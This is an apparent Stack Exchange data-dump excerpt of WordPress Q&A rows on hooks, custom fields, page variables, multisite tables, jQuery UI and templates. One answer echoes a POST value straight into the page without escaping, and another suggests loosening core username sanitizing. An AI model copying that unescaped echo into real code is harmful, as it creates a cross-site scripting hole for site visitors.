  <row Id="24988" PostTypeId="1" AcceptedAnswerId="24994" CreationDate="2011-08-04T19:21:08.130" Score="-1" ViewCount="26" Body="&lt;p&gt;I'm writing a plugin and having a problem. I have &lt;code&gt;add_action('publish_post', 'sender');&lt;/code&gt; and I want this function to run first before the add_filter function, although it won't. Is there a way to do this? I've tried moving the add_filter below add_action but that doesn't work. Also pasting the add_filter one into the add_action function doesn't work. Thanks for the help.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;br&gt;&#xA;For example, if this would work it would be great.  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if (add_action('publish_post', 'sender'))&#xA;  {&#xA;      add_filter('wp_insert_post_data','changePost','99',2);&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it doesn't and somehow still runs the add_filter function first.&lt;/p&gt;&#xA;" OwnerUserId="7499" LastEditorUserId="7499" LastEditorDisplayName="" LastEditDate="2011-08-04T19:40:55.867" LastActivityDate="2011-08-04T19:45:06.437" Title="Using add_action before add_filter on a plugin?" Tags="&lt;plugins&gt;&lt;add-action&gt;&lt;add-filter&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="24989" PostTypeId="1" AcceptedAnswerId="25221" CreationDate="2011-08-04T19:25:04.973" Score="0" ViewCount="34" Body="&lt;p&gt;I frequently need to add several Name-Value pairs to the Custom Fields of a post. At present I add these one by one, by entering the Name and Value and clicking Add Custom Field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to speed this up by entering several pairs into a single box (textarea, prompt, whatever), and have some JavaScript parse them and add them as though I had entered them manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Why JavaScript? Because I don't have access to edit any PHP or install any new plugins. I'm doing this browser-side, with Greasemonkey.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I'm aware, the Add Custom Field button submits the Name-Value pair with AJAX, but I'm not familiar enough with jQuery or WordPress to find the exact code that does this so that I can copy it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers would be much appreciated. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6913" LastActivityDate="2011-08-07T14:09:54.760" Title="How can I duplicate &quot;Add Custom Field&quot; with just JavaScript?" Tags="&lt;custom-field&gt;&lt;javascript&gt;" AnswerCount="1" />
  <row Id="24990" PostTypeId="2" ParentId="24944" CreationDate="2011-08-04T19:25:10.697" Score="2" ViewCount="" Body="&lt;p&gt;Bottom line: No.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reason: WordPress.com doesn't live on one IP address. It's a big hosting system, with many servers, fault tolerance, multiple datacenters, etc. What IP they give back for DNS requests is going to vary depending on a variety of factors.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-04T19:25:10.697" />
  <row Id="24991" PostTypeId="1" AcceptedAnswerId="24993" CreationDate="2011-08-04T19:32:20.707" Score="2" ViewCount="36" Body="&lt;p&gt;How can I link to another WordPress page but move variables to it as well (preferably not through the address bar)?&lt;br&gt;&#xA;For instance, I have on one page a list of shops in which a user should be able to click on a shop, which would then open the shop page with the correct data.&lt;br&gt;&#xA;So the shop's id needs to move from the shops list page to the shop page.&lt;/p&gt;&#xA;" OwnerUserId="5171" LastActivityDate="2011-08-04T22:01:33.253" Title="Moving variables from one page to another" Tags="&lt;redirect&gt;&lt;pages&gt;&lt;variables&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="24992" PostTypeId="2" ParentId="24987" CreationDate="2011-08-04T19:40:24.663" Score="1" ViewCount="" Body="&lt;p&gt;There aren't any for plugins, but you can (and should) use WP_CONTENT_DIR, instead of ABSPATH.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For themes you have locate_template().&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-04T19:40:24.663" CommentCount="3" />
  <row Id="24993" PostTypeId="2" ParentId="24991" CreationDate="2011-08-04T19:44:15.890" Score="1" ViewCount="" Body="&lt;p&gt;you could &lt;code&gt;POST&lt;/code&gt; the shop id to the target page. otherwise- cookie, session. or just fetch it on the list page via ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;edit -&lt;/strong&gt; a simple post request via a form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your source page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;b.php&quot; method=&quot;post&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;42&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in the target page b.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;if( isset($_POST['id']) ):&#xA;    echo $_POST['id'];&#xA;endif;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastEditorUserId="4771" LastEditorDisplayName="" LastEditDate="2011-08-04T22:01:33.253" LastActivityDate="2011-08-04T22:01:33.253" CommentCount="7" />
  <row Id="24994" PostTypeId="2" ParentId="24988" CreationDate="2011-08-04T19:45:06.437" Score="2" ViewCount="" Body="&lt;p&gt;It doesn't matter the order in which you call &lt;code&gt;add_action()&lt;/code&gt; and &lt;code&gt;add_filter()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What matters is the order in which the corresponding &lt;code&gt;do_action()&lt;/code&gt; and &lt;code&gt;apply_filters()&lt;/code&gt; are called.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if &lt;code&gt;apply_filters('wp_insert_post_data')&lt;/code&gt; is run before &lt;code&gt;do_action('save_post')&lt;/code&gt;, tough luck. You'll have to think of another way to achieve the desired result.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-04T19:45:06.437" />
  <row Id="24995" PostTypeId="2" ParentId="24655" CreationDate="2011-08-04T19:47:33.020" Score="0" ViewCount="" Body="&lt;p&gt;-Try re-saving your permalink structure at Admin panel&gt;&gt;&gt;Settings&gt;&gt;&gt;Permalinks. WordPress either creates/amends the .htaccess file for you or provides you with the correct block of code to manually add to your .htaccess file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Documentation: &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Permalinks&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-If that does not resolve the issue, since 404 is failure to communicate with the server, it could be configuration issue - it could be memory issue - it could be optimization issue... &#xA;- try checking the server error log or php error log.&lt;/p&gt;&#xA;" OwnerUserId="5021" LastEditorUserId="5021" LastEditorDisplayName="" LastEditDate="2011-08-04T20:10:07.853" LastActivityDate="2011-08-04T20:10:07.853" />
  <row Id="24996" PostTypeId="2" ParentId="5136" CreationDate="2011-08-04T19:50:03.173" Score="0" ViewCount="" Body="&lt;p&gt;Overriding the filter does not work, it causes the error described by Ünsal. Has anybody actually got this working? Not sure how  to trace, but it looks like the error is cause somewere in the registration process as a result of the non-latin username.&lt;/p&gt;&#xA;" OwnerUserId="7646" LastActivityDate="2011-08-04T19:50:03.173" />
  <row Id="24997" PostTypeId="2" ParentId="24804" CreationDate="2011-08-04T19:53:06.617" Score="0" ViewCount="" Body="&lt;p&gt;Ok, problem solved. I´ll add the script below. Hope it´s useful for someone. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( is_page() ) {&#xA;            $post = $wp_query-&amp;gt;get_queried_object();&#xA;            if ( $post-&amp;gt;post_parent == 0 ){ echo &quot;&amp;lt;li&amp;gt; &amp;amp;raquo; &quot;.ucwords(str_replace(&quot;-&quot;, &quot; &quot;, $post-&amp;gt;post_name)).&quot;&amp;lt;/li&amp;gt;&quot;; } &#xA;            else {&#xA;                $title = the_title('','', FALSE);&#xA;                $ancestors = array_reverse( get_post_ancestors( $post-&amp;gt;ID ) );&#xA;                array_push($ancestors, $post-&amp;gt;ID);&#xA;&#xA;                foreach ( $ancestors as $ancestor ){&#xA;                    if( $ancestor != end($ancestors) ){&#xA;                        echo '&amp;lt;li&amp;gt; &amp;amp;raquo; &amp;lt;a href=&quot;'. get_permalink($ancestor) .'&quot;&amp;gt;'. ucwords(str_replace(&quot;-&quot;, &quot; &quot;, basename(get_permalink($ancestor)))) .'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;                    } else {&#xA;                        echo '&amp;lt;li&amp;gt; &amp;amp;raquo; '. ucwords(str_replace(&quot;-&quot;, &quot; &quot;, basename(get_permalink($ancestor)))) .'&amp;lt;/li&amp;gt;';&#xA;                    }&#xA;                }&#xA;            }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7584" LastActivityDate="2011-08-04T19:53:06.617" CommentCount="1" />
  <row Id="24998" PostTypeId="2" ParentId="24987" CreationDate="2011-08-04T19:57:18.583" Score="2" ViewCount="" Body="&lt;p&gt;There is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/plugin_dir_path&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;plugin_dir_path()&lt;/code&gt;&lt;/a&gt;, but it's not exact analogue of &lt;code&gt;plugins_url()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;code&gt;ABSPATH&lt;/code&gt; is unreliable for how you use it, related paths can be easily redefined. See &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.2/wp-includes/default-constants.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;default-constants.php&lt;/code&gt;&lt;/a&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Namely there are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;WP_CONTENT_DIR&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;WP_PLUGIN_DIR&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;WPMU_PLUGIN_DIR&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-04T19:57:18.583" CommentCount="1" />
  <row Id="24999" PostTypeId="2" ParentId="24986" CreationDate="2011-08-04T20:03:00.950" Score="1" ViewCount="" Body="&lt;p&gt;There is a plugin called &lt;a href=&quot;http://feedwordpress.radgeek.com/&quot; rel=&quot;nofollow&quot;&gt;FeedWordpress&lt;/a&gt; that does just that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will appear as Syndication in your admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Posts &amp;amp; Links configuration panel of Syndication will control where the post title links to.  The original source is an option.&lt;/p&gt;&#xA;" OwnerUserId="1770" LastActivityDate="2011-08-04T20:03:00.950" />
  <row Id="25000" PostTypeId="2" ParentId="24351" CreationDate="2011-08-04T20:12:11.987" Score="1" ViewCount="" Body="&lt;p&gt;&lt;code&gt;the_terms()&lt;/code&gt; echoes output. To assign output to a variable and check if there is any you need to use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_term_list&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_term_list()&lt;/code&gt;&lt;/a&gt; instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it might also return &lt;code&gt;WP_Error&lt;/code&gt; object (which won't be empty) so you will need to check for it as well with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_wp_error&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_wp_error()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-04T20:12:11.987" CommentCount="1" />
  <row Id="25001" PostTypeId="1" CreationDate="2011-08-04T20:18:58.687" Score="0" ViewCount="13" Body="&lt;p&gt;I've been having the strangest intermittent errors where the root blog on my install won't work at all (&quot;Error establishing a database connection&quot;) meanwhile all the non-root blogs work fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see a function called &lt;code&gt;dead_db()&lt;/code&gt; being called, and debugging around I found that this is the SQL command that triggers it: &lt;code&gt;SELECT option_value FROM wp_options WHERE option_name = 'siteurl'&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql&amp;gt; show create table wp_options;&#xA;ERROR 1146 (42S02): Table 'blogs.wp_options' doesn't exist&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at another one of my multisite installs, I don't see &lt;code&gt;wp_options&lt;/code&gt; there either. However I &lt;em&gt;do&lt;/em&gt; see a &lt;code&gt;wp_1_options&lt;/code&gt; table. Which is supposed to be the correct one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did a quick test to see if creating wp_options with wp_1_options data would work and it seems to have. Steps below for posterity:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mysql&amp;gt; use blogs&#xA;Database changed&#xA;mysql&amp;gt; CREATE TABLE `wp_options` (&#xA;    -&amp;gt;        `option_id` bigint(20) unsigned NOT NULL AUTO_INCREMENT,&#xA;    -&amp;gt;        `blog_id` int(11) NOT NULL DEFAULT '0',&#xA;    -&amp;gt;        `option_name` varchar(64) NOT NULL DEFAULT '',&#xA;    -&amp;gt;        `option_value` longtext NOT NULL,&#xA;    -&amp;gt;        `autoload` varchar(20) NOT NULL DEFAULT 'yes',&#xA;    -&amp;gt;        PRIMARY KEY (`option_id`),&#xA;    -&amp;gt;        UNIQUE KEY `option_name` (`option_name`)&#xA;    -&amp;gt;      ) ENGINE=MyISAM AUTO_INCREMENT=1595900 DEFAULT CHARSET=utf8;&#xA;Query OK, 0 rows affected (0.05 sec)&#xA;&#xA;mysql&amp;gt; INSERT INTO wp_options (option_id, blog_id, option_name, option_value, autoload) SELECT option_id, blog_id, option_name, option_value, autoload FROM wp_1_options WHERE 1;&#xA;Query OK, 253 rows affected (0.03 sec)&#xA;Records: 253  Duplicates: 0  Warnings: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1860" LastEditorUserId="1860" LastEditorDisplayName="" LastEditDate="2011-08-04T20:24:16.310" LastActivityDate="2011-08-04T20:24:16.310" Title="MU root blog options table after 3.0 upgrade: wp_options or wp_1_options?" Tags="&lt;database&gt;&lt;mysql&gt;&lt;options&gt;&lt;wp-config&gt;" />
  <row Id="25002" PostTypeId="2" ParentId="10506" CreationDate="2011-08-04T20:19:07.810" Score="0" ViewCount="" Body="&lt;p&gt;simple answer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'widget_categories_args', 'mytheme_widget_cat_args' );&#xA;function mytheme_widget_cat_args($cat_args) {&#xA;    // the default for &quot;hide_empty&quot; = 1, so&#xA;    $cat_args['hide_empty'] = 0;&#xA;    // we can override any other defaults here too&#xA;    return $cat_args;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-04T20:19:07.810" />
  <row Id="25003" PostTypeId="1" CreationDate="2011-08-04T20:20:38.157" Score="0" ViewCount="38" Body="&lt;p&gt;So I have a nice little Sub Nav Walker up and running that I have added to a navfunctions.php file which gets called from my main theme functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my sidebar I then call a file subnav.php which executes the subnav walker:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;relevant sidebar snippet:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;load_template(TEMPLATEPATH . '/subnav.php');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;subnav.php contents&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array(&#xA;    'container' =&amp;gt;false,&#xA;    'theme_location' =&amp;gt; 'Main Navigation',&#xA;    'sort_column' =&amp;gt; 'menu_order',&#xA;    'menu_class' =&amp;gt; 'tfsubmenu',&#xA;    'echo' =&amp;gt; true,&#xA;    'before' =&amp;gt; '',&#xA;    'after' =&amp;gt; '',&#xA;    'link_before' =&amp;gt; '',&#xA;    'link_after' =&amp;gt; '',&#xA;    'depth' =&amp;gt; 0,&#xA;    'walker' =&amp;gt; new subnav_walker()&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The subnav_walker is perfect so no issues there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I have is that I'd ideally like to not execute the load_template call if there are no child menu items on the current page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I could wrap the load_template call in an if statement without calling the subnav walker?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g. something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;if (!empty (wp_menu_menu_children)) {&#xA;    load_template(TEMPLATEPATH . '/subnav.php');&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I realise this is a long shot but any ideas would be a big help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ed&lt;/p&gt;&#xA;" OwnerUserId="7647" LastEditorUserId="1468" LastEditorDisplayName="" LastEditDate="2011-08-05T00:21:56.747" LastActivityDate="2011-08-05T00:21:56.747" Title="Sub nav walker - check for valid items before displaying" Tags="&lt;custom-menus&gt;" CommentCount="2" />
  <row Id="25004" PostTypeId="2" ParentId="5136" CreationDate="2011-08-04T20:33:37.923" Score="0" ViewCount="" Body="&lt;p&gt;So the problem is caused by this line in wp-includes/user.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$user_login = sanitize_user($user_login, true);&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which causes sanitize_true to be strict, which reduced to ascii.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change to false to work around, who knows what other bugs this will cause since apparently non-latin logins in wordpress is not supported, see this thread:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bbpress.org/forums/topic/accents-in-username#post-19037&quot; rel=&quot;nofollow&quot;&gt;http://bbpress.org/forums/topic/accents-in-username#post-19037&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7646" LastActivityDate="2011-08-04T20:33:37.923" />
  <row Id="25005" PostTypeId="1" CreationDate="2011-08-04T20:34:33.117" Score="-1" ViewCount="27" Body="&lt;p&gt;I am trying to get rid of a custom post from my blog loop. How do I code the loop to exclude the custom post name media_links?&lt;/p&gt;&#xA;" OwnerUserId="7648" LastActivityDate="2011-08-04T23:30:04.997" Title="Remove custom post from loop" Tags="&lt;posts&gt;&lt;customization&gt;&lt;loop&gt;&lt;exclude&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25006" PostTypeId="1" AcceptedAnswerId="25011" CreationDate="2011-08-04T20:54:06.097" Score="1" ViewCount="83" Body="&lt;p&gt;I'm trying to enable the WordPress content editor as a droppable using jQuery UI drag and drop. However, I can't get the drag to drop, or the drop event to fire.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;keywords&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;drag one&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;drag two&amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;drag three&amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;jQuery(&quot;#keywords&quot;).find(&quot;li&quot;).each(function(){jQuery(this).draggable(&#xA;{ &#xA;    helper:'clone', &#xA;    start: function(event, ui){&#xA;        jQuery(this).fadeTo('fast', 0.5);}, &#xA;        stop: function(event, ui) { &#xA;            jQuery(this).fadeTo(0, 1); &#xA;            } &#xA;        });&#xA;    });&#xA;&#xA;jQuery('#content').droppable(&#xA;{ &#xA;    drop: function(event, ui)&#xA;    {&#xA;        alert('dropped in content'); //DOES NOT FIRE!!!&#xA;        jQuery(this).dropIt(ui.draggable.html());&#xA;    } &#xA;});&#xA;&#xA;if(typeof tinyMCE=='object')&#xA;{ &#xA;    alert('tinyMCE is active'); //DOES NOT FIRE!!!&#xA;    jQuery('#editorcontainer').droppable(&#xA;    { &#xA;        drop: function(event, ui) &#xA;        { &#xA;        alert('dropped in tinyMCE editor'); //DOES NOT FIRE!!!&#xA;        //Dynamically add content&#xA;        tinyMCE.activeEditor.execCommand('mceInsertContent', false, 'New content.');&#xA;        } &#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-08-08T19:51:04.810" LastActivityDate="2011-08-08T19:51:04.810" Title="How to enable the content editor as a droppable target with jQuery-ui?" Tags="&lt;jquery&gt;&lt;tinymce&gt;&lt;jquery-ui&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="25007" PostTypeId="1" AcceptedAnswerId="25010" CreationDate="2011-08-04T21:15:37.673" Score="1" ViewCount="21" Body="&lt;p&gt;When using wp_mail, is there any way to verify that the email was sent correctly?&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-04T21:33:11.853" Title="Using wp_mail - verify that email was sent?" Tags="&lt;wp-mail&gt;" AnswerCount="1" />
  <row Id="25008" PostTypeId="1" CreationDate="2011-08-04T21:23:27.880" Score="0" ViewCount="47" Body="&lt;p&gt;I have a single post page that contains an audio player. I need place a link on the page that will open up the player in a pop up window. Simple right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My thoughts were that I have  an additional link using the_permalink open the post in a new window and just limit the loop to that new audio player. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is how do I control what template the link (the_permalink) grabs? I'm familiar with the wordpress template hierarchy, and I don't want the permalink to grab single.php, instead i'd like it to grab pop-up-player.php template. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've googled and searched stack exchange but can't seem to find anything related to what I'm trying to do. &lt;/p&gt;&#xA;" OwnerUserId="2862" LastActivityDate="2011-09-05T03:42:55.477" Title="Make Permalink go to specific template" Tags="&lt;templates&gt;" AnswerCount="1" />
  <row Id="25009" PostTypeId="2" ParentId="24314" CreationDate="2011-08-04T21:31:24.940" Score="0" ViewCount="" Body="&lt;p&gt;There is a relatively new commercial service specifically for this task. It's called RAMP:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://alexking.org/blog/2011/07/20/ramp-content-deploy-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://alexking.org/blog/2011/07/20/ramp-content-deploy-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-04T21:31:24.940" CommentCount="3" />
  <row Id="25010" PostTypeId="2" ParentId="25007" CreationDate="2011-08-04T21:33:11.853" Score="1" ViewCount="" Body="&lt;p&gt;As you have probably found, for &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_mail&quot; rel=&quot;nofollow&quot;&gt;wp_mail&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A true return value does not automatically mean that the user&#xA;  received the email successfully.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A possible workaround is to add an email address that you have access to to the recipients list, and if the one email address receives the mail you can be reasonably (although not 100%) certain that the message was sent.&lt;/p&gt;&#xA;" OwnerUserId="2001" LastActivityDate="2011-08-04T21:33:11.853" />
  <row Id="25011" PostTypeId="2" ParentId="25006" CreationDate="2011-08-04T21:34:23.630" Score="2" ViewCount="" Body="&lt;p&gt;In the above example the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.myDiv&quot;).find(&quot;li&quot;).each(function(){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(&quot;.keywords&quot;).find(&quot;li&quot;).each(function(){&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That should enable the list items to be dragged and dropped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To allow the items to be dropped on the TinyMCE textarea the following code works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#editorcontainer').droppable({ &#xA;    drop: function(event, ui) { &#xA;        alert('dropped'); //NOW FIRES!&#xA;        //Dynamically add content&#xA;        tinyMCE.activeEditor.execCommand('mceInsertContent', false, 'New content.');&#xA;    } &#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7649" LastEditorUserId="7649" LastEditorDisplayName="" LastEditDate="2011-08-04T23:26:04.423" LastActivityDate="2011-08-04T23:26:04.423" CommentCount="4" />
  <row Id="25012" PostTypeId="2" ParentId="25008" CreationDate="2011-08-04T21:38:42.877" Score="0" ViewCount="" Body="&lt;p&gt;Why not make your link include a parameter to change the way it loads the single.php page?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;?audio-popup=1&quot;&amp;gt;Link&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in the single.php, you can do something like &lt;code&gt;if ($_GET['audio-popup'] == 1) { include popup-player.php; return; }&lt;/code&gt; or similar to make it load that popup-player template instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's other ways, but this is probably the simplest and suitable for a custom site. If you were doing this in a more generic theme way, then I'd say to set up query vars and rewrites and such, but for a one-off, you don't need that sort of thing.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-08-04T21:38:42.877" CommentCount="5" />
  <row Id="25013" PostTypeId="2" ParentId="18911" CreationDate="2011-08-04T21:55:48.043" Score="1" ViewCount="" Body="&lt;p&gt;Firstly as Bainternet says your function is never-ending.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But to solve your original problem, there is a undocumented parameter for tax_query to prevent posts in child terms being fetched. It requires a fairly recent version of WordPress (I don't know the exact version in which it was implemented but it certainly works in the latest release).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this, it should do the trick:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$parent_posts = get_posts(array(&#xA;    'tax_query' =&amp;gt; array( &#xA;        array(&#xA;            'taxonomy' =&amp;gt; $taxonomy,&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; $parent_term,&#xA;            'include_children' =&amp;gt; 0&#xA;        )&#xA;    ),&#xA;    'post_type' =&amp;gt; $post_type&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you'll notice the inclusion of &lt;code&gt;'include_children' =&amp;gt; 0&lt;/code&gt; will stop child posts in hierarchical taxonomies from being displayed.&lt;/p&gt;&#xA;" OwnerUserId="7649" LastActivityDate="2011-08-04T21:55:48.043" />
  <row Id="25014" PostTypeId="1" AcceptedAnswerId="25016" CreationDate="2011-08-04T22:17:19.803" Score="2" ViewCount="26" Body="&lt;p&gt;i'm hosting several sites. they all have the same base theme that i need to install. I want to develop this theme and have them updated on all the sites simultaneously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following folder structure&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/theme/&#xA; \ mytheme&#xA;&#xA;/domain/ &#xA;   \ foo.com &#xA;   \ foobar.com&#xA;   \ foosite.com&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would there be any issue with symlinking each site with my theme into each site's &lt;code&gt;wp-config/theme/&lt;/code&gt; folder? Not interested in multisite. Had to developed sites seperately.&lt;/p&gt;&#xA;" OwnerUserId="5149" LastEditorUserId="5149" LastEditorDisplayName="" LastEditDate="2011-08-05T04:16:42.980" LastActivityDate="2011-08-05T04:16:42.980" Title="Install theme on multiple domains" Tags="&lt;folder-structure&gt;" AnswerCount="2" />
  <row Id="25015" PostTypeId="1" CreationDate="2011-08-04T22:40:15.523" Score="0" ViewCount="38" Body="&lt;p&gt;We have tons of rewrite rules saved in our wp_options table and I'd like to permanently remove any entries that we're not using on our site (such as comment feeds, page attachments, etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to clear these rules and prevent them from being saved to the database the next time flush_rules() is called? I'd prefer a solution that works in functions.php or as a standalone plugin, rather than editing core WP files such as wp-includes/rewrite.php.&lt;/p&gt;&#xA;" OwnerUserId="7650" LastEditorUserId="7650" LastEditorDisplayName="" LastEditDate="2011-08-24T22:22:43.803" LastActivityDate="2011-08-24T22:22:43.803" Title="How do you permanently remove default rewrite rules from the wp_options table?" Tags="&lt;functions&gt;&lt;url-rewriting&gt;&lt;rewrite-rules&gt;&lt;wp-options&gt;" CommentCount="2" />
